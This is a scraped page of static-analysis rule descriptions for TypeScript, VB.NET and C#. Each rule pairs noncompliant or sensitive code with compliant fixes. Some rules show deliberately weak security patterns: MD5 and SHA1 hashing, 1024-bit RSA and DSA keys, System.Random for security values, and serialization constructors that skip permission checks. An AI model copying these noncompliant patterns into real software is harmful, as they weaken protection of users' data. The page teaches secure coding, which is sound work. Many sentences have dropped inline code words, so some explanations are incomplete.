There is a risk if you answered yes to this question. Recommended Secure Coding PracticesImplement content security policy frame-ancestors directive which is supported by all modern browsers and will specify the origins of frame allowed to be loaded by the browser (this directive deprecates X-Frame-Options). Sensitive Code ExampleIn Express.js application the code is sensitive if the helmet-csp or helmet middleware is used without the const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet.contentSecurityPolicy({ directives: { // other directives frameAncestors: ["'none'"] // Sensitive: frameAncestors is set to none } }) ); Compliant SolutionIn Express.js application a standard way to implement CSP frame-ancestors directive is the helmet-csp or helmet middleware: const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet.contentSecurityPolicy({ directives: { // other directives frameAncestors: ["'example.com'"] // Compliant } }) ); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2589 |
If a boolean expression doesn't change the evaluation of the condition, then it is entirely unnecessary, and can be removed. If it is gratuitous because it does not match the programmer's intent, then it's a bug and the expression should be fixed. Noncompliant Code Exampleif (a) { if (a) { // Noncompliant doSomething(); } } Compliant Solutionif (a) { if (b) { doSomething(); } } // or if (a) { doSomething(); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S139 |
This rule verifies that single-line comments are not located at the ends of lines of code. The main idea behind this rule is that in order to be really readable, trailing comments would have to be properly written and formatted (correct alignment, no interference with the visual structure of the code, not too long to be visible) but most often, automatic code formatters would not handle this correctly: the code would end up less readable. Comments are far better placed on the previous empty line of code, where they will always be visible and properly formatted. Noncompliant Code ExampleWith the default comment pattern Module Module1 Sub Main() Console.WriteLine("Hello, world!") ' Noncompliant - My first program! Console.WriteLine("Hello, world!") ' CompliantOneWord End Sub End Module Compliant SolutionModule Module1 Sub Main() ' Compliant - My first program! Console.WriteLine("Hello, world!") Console.WriteLine("Hello, world!") ' CompliantOneWord End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2370 |
Shared naming conventions allow teams to collaborate efficiently. This rule checks that all non-private The default configuration is:
Noncompliant Code ExampleWith the default regular expression Class Foo Public Shared ReadOnly foo As Integer ' Noncompliant End Class Compliant SolutionClass Foo Public Shared ReadOnly Foo As Integer ' Compliant End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4792 |
Configuring loggers is security-sensitive. It has led in the past to the following vulnerabilities: Logs are useful before, during and after a security incident.
Logs are also a target for attackers because they might contain sensitive information. Configuring loggers has an impact on the type of information logged and how they are logged. This rule flags for review code that initiates loggers configuration. The goal is to guide security code reviews. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Remember that configuring loggers properly doesn't make them bullet-proof. Here is a list of recommendations explaining on how to use your logs:
Sensitive Code Example.Net Core: configure programmatically Imports System Imports System.Collections Imports System.Collections.Generic Imports Microsoft.AspNetCore Imports Microsoft.AspNetCore.Builder Imports Microsoft.AspNetCore.Hosting Imports Microsoft.Extensions.Configuration Imports Microsoft.Extensions.DependencyInjection Imports Microsoft.Extensions.Logging Imports Microsoft.Extensions.Options Namespace MvcApp Public Class ProgramLogging Public Shared Function CreateWebHostBuilder(args As String()) As IWebHostBuilder WebHost.CreateDefaultBuilder(args) _ .ConfigureLogging(Function(hostingContext, Logging) ' Sensitive ' ... End Function) _ .UseStartup(Of StartupLogging)() '... End Function End Class Public Class StartupLogging Public Sub ConfigureServices(services As IServiceCollection) services.AddLogging(Function(logging) ' Sensitive '... End Function) End Sub Public Sub Configure(app As IApplicationBuilder, env As IHostingEnvironment, loggerFactory As ILoggerFactory) Dim config As IConfiguration = Nothing Dim level As LogLevel = LogLevel.Critical Dim includeScopes As Boolean = False Dim filter As Func(Of String, Microsoft.Extensions.Logging.LogLevel, Boolean) = Nothing Dim consoleSettings As Microsoft.Extensions.Logging.Console.IConsoleLoggerSettings = Nothing Dim azureSettings As Microsoft.Extensions.Logging.AzureAppServices.AzureAppServicesDiagnosticsSettings = Nothing Dim eventLogSettings As Microsoft.Extensions.Logging.EventLog.EventLogSettings = Nothing ' An issue will be raised for each call to an ILoggerFactory extension methods adding loggers. loggerFactory.AddAzureWebAppDiagnostics() ' Sensitive loggerFactory.AddAzureWebAppDiagnostics(azureSettings) ' Sensitive loggerFactory.AddConsole() ' Sensitive loggerFactory.AddConsole(level) ' Sensitive loggerFactory.AddConsole(level, includeScopes) ' Sensitive loggerFactory.AddConsole(filter) ' Sensitive loggerFactory.AddConsole(filter, includeScopes) ' Sensitive loggerFactory.AddConsole(config) ' Sensitive loggerFactory.AddConsole(consoleSettings) ' Sensitive loggerFactory.AddDebug() ' Sensitive loggerFactory.AddDebug(level) ' Sensitive loggerFactory.AddDebug(filter) ' Sensitive loggerFactory.AddEventLog() ' Sensitive loggerFactory.AddEventLog(eventLogSettings) ' Sensitive loggerFactory.AddEventLog(level) ' Sensitive ' Only available for NET Standard 2.0 and above 'loggerFactory.AddEventSourceLogger() ' Sensitive Dim providers As IEnumerable(Of ILoggerProvider) = Nothing Dim filterOptions1 As LoggerFilterOptions = Nothing Dim filterOptions2 As IOptionsMonitor(Of LoggerFilterOptions) = Nothing Dim factory As LoggerFactory = New LoggerFactory() ' Sensitive factory = New LoggerFactory(providers) ' Sensitive factory = New LoggerFactory(providers, filterOptions1) ' Sensitive factory = New LoggerFactory(providers, filterOptions2) ' Sensitive End Sub End Class End Namespace Log4Net Imports System Imports System.IO Imports System.Xml Imports log4net.Appender Imports log4net.Config Imports log4net.Repository Namespace Logging Class Log4netLogging Private Sub Foo(ByVal repository As ILoggerRepository, ByVal element As XmlElement, ByVal configFile As FileInfo, ByVal configUri As Uri, ByVal configStream As Stream, ByVal appender As IAppender, ParamArray appenders As IAppender()) log4net.Config.XmlConfigurator.Configure(repository) ' Sensitive log4net.Config.XmlConfigurator.Configure(repository, element) ' Sensitive log4net.Config.XmlConfigurator.Configure(repository, configFile) ' Sensitive log4net.Config.XmlConfigurator.Configure(repository, configUri) ' Sensitive log4net.Config.XmlConfigurator.Configure(repository, configStream) ' Sensitive log4net.Config.XmlConfigurator.ConfigureAndWatch(repository, configFile) ' Sensitive log4net.Config.DOMConfigurator.Configure() ' Sensitive log4net.Config.DOMConfigurator.Configure(repository) ' Sensitive log4net.Config.DOMConfigurator.Configure(element) ' Sensitive log4net.Config.DOMConfigurator.Configure(repository, element) ' Sensitive log4net.Config.DOMConfigurator.Configure(configFile) ' Sensitive log4net.Config.DOMConfigurator.Configure(repository, configFile) ' Sensitive log4net.Config.DOMConfigurator.Configure(configStream) ' Sensitive log4net.Config.DOMConfigurator.Configure(repository, configStream) ' Sensitive log4net.Config.DOMConfigurator.ConfigureAndWatch(configFile) ' Sensitive log4net.Config.DOMConfigurator.ConfigureAndWatch(repository, configFile) ' Sensitive log4net.Config.BasicConfigurator.Configure() ' Sensitive log4net.Config.BasicConfigurator.Configure(appender) ' Sensitive log4net.Config.BasicConfigurator.Configure(appenders) ' Sensitive log4net.Config.BasicConfigurator.Configure(repository) ' Sensitive log4net.Config.BasicConfigurator.Configure(repository, appender) ' Sensitive log4net.Config.BasicConfigurator.Configure(repository, appenders) ' Sensitive End Sub End Class End Namespace NLog: configure programmatically Namespace Logging Class NLogLogging Private Sub Foo(ByVal config As NLog.Config.LoggingConfiguration) NLog.LogManager.Configuration = config ' Sensitive End Sub End Class End Namespace Serilog Namespace Logging Class SerilogLogging Private Sub Foo() Dim config As Serilog.LoggerConfiguration = New Serilog.LoggerConfiguration() ' Sensitive End Sub End Class End Namespace See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S138 |
A procedure that grows too large tends to aggregate too many responsibilities. Such procedures inevitably become harder to understand and therefore harder to maintain. Above a specific threshold, it is strongly advised to refactor into smaller procedures which focus on well-defined tasks. Those smaller procedures will not only be easier to understand but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4275 |
Properties provide a way to enforce encapsulation by providing This rule raises an issue in any of these cases:
For simple properties it is better to use auto-implemented properties (VB.NET 10.0 or later). Field and property names are compared as case-insensitive. All underscore characters are ignored. Noncompliant Code ExampleClass A Private x As Integer Private y As Integer Public Property X As Integer Get Return x End Get Set(ByVal value As Integer) x = value End Set End Property Public Property Y As Integer Get ' Noncompliant: field 'y' is not used in the return value Return x End Get Set(ByVal value As Integer) ' Noncompliant: field 'y' is not updated x = value End Set End Property End Class Compliant SolutionClass A Private x As Integer Private y As Integer Public Property X As Integer Get Return x End Get Set(ByVal value As Integer) x = value End Set End Property Public Property Y As Integer Get Return y End Get Set(ByVal value As Integer) y = value End Set End Property End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4790 |
Cryptographic hash algorithms such as Ask Yourself WhetherThe hashed value is used in a security context like:
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesSafer alternatives, such as Sensitive Code ExampleImports System.Security.Cryptography Sub ComputeHash() ' Review all instantiations of classes that inherit from HashAlgorithm, for example: Dim hashAlgo As HashAlgorithm = HashAlgorithm.Create() ' Sensitive Dim hashAlgo2 As HashAlgorithm = HashAlgorithm.Create("SHA1") ' Sensitive Dim sha As SHA1 = New SHA1CryptoServiceProvider() ' Sensitive Dim md5 As MD5 = New MD5CryptoServiceProvider() ' Sensitive ' ... End Sub Class MyHashAlgorithm Inherits HashAlgorithm ' Sensitive ' ... End Class Compliant SolutionImports System.Security.Cryptography Sub ComputeHash() Dim sha256 = New SHA256CryptoServiceProvider() ' Compliant Dim sha384 = New SHA384CryptoServiceProvider() ' Compliant Dim sha512 = New SHA512CryptoServiceProvider() ' Compliant ' ... End Sub See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3456 |
Noncompliant Code Examplestring str = "some string"; foreach (var c in str.ToCharArray()) // Noncompliant { // ... } Compliant Solutionstring str = "some string"; foreach (var c in str) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4426 |
Most of cryptographic systems require a sufficient key size to be robust against brute-force attacks. NIST recommendations will be checked for these use-cases: Digital Signature Generation and Verification:
Key Agreement:
Symmetric keys:
This rule will not raise issues for ciphers that are considered weak (no matter the key size) like Noncompliant Code Exampleusing System; using System.Security.Cryptography; namespace MyLibrary { public class MyCryptoClass { static void Main() { var dsa1 = new DSACryptoServiceProvider(); // Noncompliant - default key size is 1024 dsa1.KeySize = 2048; // Noncompliant - the setter does not update the underlying key size for the DSACryptoServiceProvider class var dsa2 = new DSACryptoServiceProvider(2048); // Noncompliant - cannot create DSACryptoServiceProvider with a key size bigger than 1024 var rsa1 = new RSACryptoServiceProvider(); // Noncompliant - default key size is 1024 rsa1.KeySize = 2048; // Noncompliant - the setter does not update the underlying key size for the RSACryptoServiceProvider class var rsa2 = new RSACng(1024); // Noncompliant // ... } } } KeySize property of DSACryptoServiceProvider and RSACryptoServiceProvider does not change the value of underlying KeySize for the algorithm. Property setter is ignored without error and KeySize can be changed only by using constructor overload. See: Compliant Solutionusing System; using System.Security.Cryptography; namespace MyLibrary { public class MyCryptoClass { static void Main() { var dsa1 = new DSACng(); // Compliant - default key size is 2048 var dsa2 = new DSACng(2048); // Compliant var rsa1 = new RSACryptoServiceProvider(2048); // Compliant var rsa2 = new RSACng(); // Compliant - default key size is 2048 // ... } } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2245 |
Using pseudorandom number generators (PRNGs) is security-sensitive. For example, it has led in the past to the following vulnerabilities: When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information. As the Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Examplevar random = new Random(); // Sensitive use of Random byte[] data = new byte[16]; random.NextBytes(data); return BitConverter.ToString(data); // Check if this value is used for hashing or encryption Compliant Solutionusing System.Security.Cryptography; ... var randomGenerator = RandomNumberGenerator.Create(); // Compliant for security-sensitive use cases byte[] data = new byte[16]; randomGenerator.GetBytes(data); return BitConverter.ToString(data); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3458 |
Empty Noncompliant Code Exampleswitch(ch) { case 'a' : HandleA(); break; case 'b' : HandleB(); break; case 'c' : // Noncompliant default: HandleTheRest(); break; } Compliant Solutionswitch(ch) { case 'a' : HandleA(); break; case 'b' : HandleB(); break; default: HandleTheRest(); break; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3216 |
After an This rule raises an issue when code in a class library Noncompliant Code Examplevar response = await httpClient.GetAsync(url); // Noncompliant Compliant Solutionvar response = await httpClient.GetAsync(url).ConfigureAwait(false); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3215 |
Needing to cast from an Noncompliant Code Examplepublic interface IMyInterface { void DoStuff(); } public class MyClass1 : IMyInterface { public int Data { get { return new Random().Next(); } } public void DoStuff() { // TODO... } } public static class DowncastExampleProgram { static void EntryPoint(IMyInterface interfaceRef) { MyClass1 class1 = (MyClass1)interfaceRef; // Noncompliant int privateData = class1.Data; class1 = interfaceRef as MyClass1; // Noncompliant if (class1 != null) { // ... } } } ExceptionsCasting to static void EntryPoint(IMyInterface interfaceRef) { var o = (object)interfaceRef; ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4787 |
Encrypting data is security-sensitive. It has led in the past to the following vulnerabilities: Proper encryption requires both the encryption algorithm and the key to be strong. Obviously the private key needs to remain secret and be renewed regularly. However these are not the only means to defeat or weaken an encryption.
This rule flags function calls that initiate encryption/decryption. Ask Yourself Whether
You are at risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Exampleusing System; using System.Security.Cryptography; namespace MyNamespace { public class MyClass { public void Main() { Byte[] data = {1,1,1}; RSA myRSA = RSA.Create(); RSAEncryptionPadding padding = RSAEncryptionPadding.CreateOaep(HashAlgorithmName.SHA1); // Review all base RSA class' Encrypt/Decrypt calls myRSA.Encrypt(data, padding); // Sensitive myRSA.EncryptValue(data); // Sensitive myRSA.Decrypt(data, padding); // Sensitive myRSA.DecryptValue(data); // Sensitive RSACryptoServiceProvider myRSAC = new RSACryptoServiceProvider(); // Review the use of any TryEncrypt/TryDecrypt and specific Encrypt/Decrypt of RSA subclasses. myRSAC.Encrypt(data, false); // Sensitive myRSAC.Decrypt(data, false); // Sensitive int written; myRSAC.TryEncrypt(data, Span<byte>.Empty, padding, out written); // Sensitive myRSAC.TryDecrypt(data, Span<byte>.Empty, padding, out written); // Sensitive byte[] rgbKey = {1,2,3}; byte[] rgbIV = {4,5,6}; SymmetricAlgorithm rijn = SymmetricAlgorithm.Create(); // Review the creation of Encryptors from any SymmetricAlgorithm instance. rijn.CreateEncryptor(); // Sensitive rijn.CreateEncryptor(rgbKey, rgbIV); // Sensitive rijn.CreateDecryptor(); // Sensitive rijn.CreateDecryptor(rgbKey, rgbIV); // Sensitive } public class MyCrypto : System.Security.Cryptography.AsymmetricAlgorithm // Sensitive { // ... } public class MyCrypto2 : System.Security.Cryptography.SymmetricAlgorithm // Sensitive { // ... } } } See
Deprecated |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2368 |
Exposing methods with multidimensional array parameters requires developers to have advanced knowledge about the language in order to be able to use them. Moreover, what exactly to pass to such parameters is not intuitive. Therefore, such methods should not be exposed, but can be used internally. Noncompliant Code Examplepublic class Program { public void WriteMatrix(int[][] matrix) // Non-Compliant { } } Compliant Solutionpublic class Matrix { // ... } public class Program { public void WriteMatrix(Matrix matrix) // Compliant { } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3457 |
Because composite format strings are interpreted at runtime, rather than validated by the compiler, they can contain errors that lead to unexpected
behaviors or runtime errors. This rule statically validates the good behavior of composite formats when calling the methods of
Noncompliant Code Examples = string.Format("{0}", arg0, arg1); // Noncompliant, arg1 is declared but not used. s = string.Format("{0} {2}", arg0, arg1, arg2); // Noncompliant, the format item with index 1 is missing so arg1 will not be used. s = string.Format("foo"); // Noncompliant, there is no need to use string.Format here. Compliant Solutions = string.Format("{0}", arg0); s = string.Format("{0} {1}", arg0, arg2); s = "foo"; Exceptions
var pattern = "{0} {1} {2}"; var res = string.Format(pattern, 1, 2); // Compliant, not const string are not recognized
var array = new int[] {}; var res = string.Format("{0} {1}", array); // Compliant we don't know the size of the array
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3241 |
Private methods are clearly intended for use only within their own scope. When such methods return values that are never used by any of their callers, then clearly there is no need to actually make the return, and it should be removed in the interests of efficiency and clarity. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3240 |
In the interests of keeping code clean, the simplest possible conditional syntax should be used. That means
Noncompliant Code Exampleobject a = null, b = null, x; if (a != null) // Noncompliant; needlessly verbose { x = a; } else { x = b; } x = a != null ? a : b; // Noncompliant; better but could still be simplified x = (a == null) ? new object() : a; // Noncompliant if (condition) // Noncompliant { x = a; } else { x = b; } if (a == null) // Noncompliant a = new object(); var y = null ?? new object(); // Noncompliant a = a ?? new object(); // Noncompliant for C# 8 Compliant Solutionobject x; x = a ?? b; x = a ?? b; x = a ?? new object(); x = condition ? a : b; a ??= new object(); var y = new object(); a ??= new object(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2953 |
It may be tempting to create a Noncompliant Code Examplepublic class GarbageDisposal { private int Dispose() // Noncompliant { // ... } } Compliant Solutionpublic class GarbageDisposal : IDisposable { public void Dispose() { // ... } } or public class GarbageDisposal { private int Grind() { // ... } } ExceptionsMethods named public class GarbageDisposal : IDisposable { protected virtual void Dispose(bool disposing) { //... } public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3923 |
Having all branches in a Noncompliant Code Exampleif (b == 0) // Noncompliant { DoTheThing(); } else { DoTheThing(); } int b = a > 12 ? 4 : 4; // Noncompliant switch (i) // Noncompliant { case 1: DoSomething(); break; case 2: DoSomething(); break; case 3: DoSomething(); break; default: DoSomething(); } ExceptionsThis rule does not apply to if (b == 0) //no issue, this could have been done on purpose to make the code more readable { DoSomething(); } else if (b == 1) { DoSomething(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2955 |
When constraints have not been applied to restrict a generic type parameter to be a reference type, then a value type, such as a
Noncompliant Code Exampleprivate bool IsDefault<T>(T value) { if (value == null) // Noncompliant { // ... } // ... } Compliant Solutionprivate bool IsDefault<T>(T value) { if(object.Equals(value, default(T))) { // ... } // ... } or private bool IsDefault<T>(T value) where T : class { if (value == null) { // ... } // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3926 |
Fields marked with This rule raises when at least one field with the Noncompliant Code Example[Serializable] public class Foo { [OptionalField(VersionAdded = 2)] int optionalField = 5; } Compliant Solution[Serializable] public class Foo { [OptionalField(VersionAdded = 2)] int optionalField = 5; [OnDeserializing] void OnDeserializing(StreamingContext context) { optionalField = 5; } [OnDeserialized] void OnDeserialized(StreamingContext context) { // Set optionalField if dependent on other deserialized values. } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3925 |
The This rules raises an issue on types that implement Specifically this rule checks for these problems:
Classes which inherit from Noncompliant Code Examplepublic class Foo : ISerializable // Noncompliant the [Serializable] attribute is missing { } or public class Bar { } [Serializable] public class Foo : ISerializable // Noncompliant the serialization constructor is missing { private readonly Bar bar; // Noncompliant the field is not marked with [NonSerialized] } Compliant Solutionpublic class Bar { } [Serializable] public class Foo : ISerializable { [NonSerialized] private readonly Bar bar; public Foo() { // ... } protected Foo(SerializationInfo info, StreamingContext context) { // ... } public virtual void GetObjectData(SerializationInfo info, StreamingContext context) { // ... } } [Serializable] public sealed class SubFoo : Foo { private int val; public SubFoo() { // ... } private SubFoo(SerializationInfo info, StreamingContext context) : base(info, context) { // ... } public override void GetObjectData(SerializationInfo info, StreamingContext context) { base.GetObjectData(info, context); // ... } } Exceptions
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3928 |
Some constructors of the
Noncompliant Code Examplepublic void Foo(Bar a, int[] b) { throw new ArgumentException(); // Noncompliant throw new ArgumentException("My error message", "c"); // Noncompliant throw new ArgumentException("My error message", "c", innerException); // Noncompliant throw new ArgumentNullException("c"); // Noncompliant throw new ArgumentNullException("My error message", "c"); // Noncompliant throw new ArgumentOutOfRangeException("c"); throw new ArgumentOutOfRangeException("c", "My error message"); // Noncompliant throw new ArgumentOutOfRangeException("c", b, "My error message"); // Noncompliant } Compliant Solutionpublic void Foo(Bar a, Bar b) { throw new ArgumentException("My error message", "a"); throw new ArgumentException("My error message", "b", innerException); throw new ArgumentNullException("a"); throw new ArgumentNullException(nameOf(a)); throw new ArgumentNullException("My error message", "a"); throw new ArgumentOutOfRangeException("b"); throw new ArgumentOutOfRangeException("b", "My error message"); throw new ArgumentOutOfRangeException("b", b, "My error message"); } ExceptionsThe rule won't raise an issue if the parameter name is not a constant value (inline declaration, nameof() or const variable). |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3927 |
Serialization event handlers that don't have the correct signature will simply not be called, thus bypassing any attempts to augment the automated de/serialization. This rule raises issue when a method marked with one of the following attributes is not
Noncompliant Code Example[Serializable] public class Foo { [OnSerializing] public void OnSerializing(StreamingContext context) {} // Noncompliant should be private [OnSerialized] int OnSerialized(StreamingContext context) {} // Noncompliant should return void [OnDeserializing] void OnDeserializing() {} // Noncompliant should have a single parameter of type StreamingContext [OnSerializing] public void OnSerializing2<T>(StreamingContext context) {} // Noncompliant should have no type parameters [OnDeserialized] void OnDeserialized(StreamingContext context, string str) {} // Noncompliant should have a single parameter of type StreamingContext } Compliant Solution[Serializable] public class Foo { [OnSerializing] private void OnSerializing(StreamingContext context) {} [OnSerialized] private void OnSerialized(StreamingContext context) {} [OnDeserializing] private void OnDeserializing(StreamingContext context) {} [OnDeserialized] private void OnDeserialized(StreamingContext context) {} } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1185 |
Overriding a method just to call the same method from the base class without performing any other actions is useless and misleading. The only time
this is justified is in NOTE: In some cases it might be dangerous to add or remove empty overrides, as they might be breaking changes. Noncompliant Code Examplepublic override void Method() // Noncompliant { base.Method(); } Compliant Solutionpublic override void Method() { //do something else } ExceptionsIf there is an attribute in any level of the overriding chain, then the overridden member is ignored. public class Base { [Required] public virtual string Name { get; set; } } public class Derived : Base { public override string Name { get { return base.Name; } set { base.Name = value; } } } If there is a documentation comment on the overriding method, it will be ignored: public class Foo : Bar { /// <summary> /// Keep this method for backwards compatibility. /// </summary> public override void DoSomething() { base.DoSomething(); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4212 |
Because serialization constructors allocate and initialize objects, security checks that are present on regular constructors must also be present on a serialization constructor. Failure to do so would allow callers that could not otherwise create an instance to use the serialization constructor to do this. This rule raises an issue when a type implements the Noncompliant Code Exampleusing System; using System.IO; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; using System.Security; using System.Security.Permissions; [assembly: AllowPartiallyTrustedCallersAttribute()] namespace MyLibrary { [Serializable] public class Foo : ISerializable { private int n; [FileIOPermissionAttribute(SecurityAction.Demand, Unrestricted = true)] public Foo() { n = -1; } protected Foo(SerializationInfo info, StreamingContext context) // Noncompliant { n = (int)info.GetValue("n", typeof(int)); } void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) { info.AddValue("n", n); } } } Compliant Solutionusing System; using System.IO; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; using System.Security; using System.Security.Permissions; [assembly: AllowPartiallyTrustedCallersAttribute()] namespace MyLibrary { [Serializable] public class Foo : ISerializable { private int n; [FileIOPermissionAttribute(SecurityAction.Demand, Unrestricted = true)] public Foo() { n = -1; } [FileIOPermissionAttribute(SecurityAction.Demand, Unrestricted = true)] protected Foo(SerializationInfo info, StreamingContext context) { n = (int)info.GetValue("n", typeof(int)); } void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) { info.AddValue("n", n); } } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2275 |
Because composite format strings are interpreted at runtime, rather than validated by the compiler, they can contain errors that lead to unexpected
behaviors or runtime errors. This rule statically validates the good behavior of composite formats when calling the methods of
Noncompliant Code Examples = string.Format("[0}", arg0); s = string.Format("{{0}", arg0); s = string.Format("{0}}", arg0); s = string.Format("{-1}", arg0); s = string.Format("{0} {1}", arg0); Compliant Solutions = string.Format("{0}", 42); // Compliant s = string.Format("{0,10}", 42); // Compliant s = string.Format("{0,-10}", 42); // Compliant s = string.Format("{0:0000}", 42); // Compliant s = string.Format("{2}-{0}-{1}", 1, 2, 3); // Compliant s = string.Format("no format"); // Compliant Exceptions
var pattern = "{0} {1} {2}"; var res = string.Format(pattern, 1, 2); // Compliant, not const string are not recognized
var array = new int[] {}; var res = string.Format("{0} {1}", array); // Compliant we don't know the size of the array
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1186 |
There are several reasons for a method not to have a method body:
Noncompliant Code Examplepublic override void DoSomething() { } public override void DoSomethingElse() { } Compliant Solutionpublic override void DoSomething() { // Do nothing because of X and Y. } public override void DoSomethingElse() { throw new NotSupportedException(); } ExceptionsThe following methods are ignored:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3242 |
When a derived type is used as a parameter instead of the base type, it limits the uses of the method. If the additional functionality that is provided in the derived type is not requires then that limitation isn't required, and should be removed. This rule raises an issue when a method declaration includes a parameter that is a derived type and accesses only members of the base type. Noncompliant Code Exampleusing System; using System.IO; namespace MyLibrary { public class Foo { public void ReadStream(FileStream stream) // Noncompliant: Uses only System.IO.Stream methods { int a; while ((a = stream.ReadByte()) != -1) { // Do something. } } } } Compliant Solutionusing System; using System.IO; namespace MyLibrary { public class Foo { public void ReadStream(Stream stream) { int a; while ((a = stream.ReadByte()) != -1) { // Do something. } } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1066 |
Merging collapsible Noncompliant Code Exampleif (condition1) { if (condition2) { // ... } } Compliant Solutionif (condition1 && condition2) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4210 |
When an assembly uses Windows Forms (classes and interfaces from the This rule raises an issue when the entry point ( Noncompliant Code Exampleusing System; using System.Windows.Forms; namespace MyLibrary { public class MyForm: Form { public MyForm() { this.Text = "Hello World!"; } public static void Main() // Noncompliant { var form = new MyForm(); Application.Run(form); } } } Compliant Solutionusing System; using System.Windows.Forms; namespace MyLibrary { public class MyForm: Form { public MyForm() { this.Text = "Hello World!"; } [STAThread] public static void Main() { var form = new MyForm(); Application.Run(form); } } } |
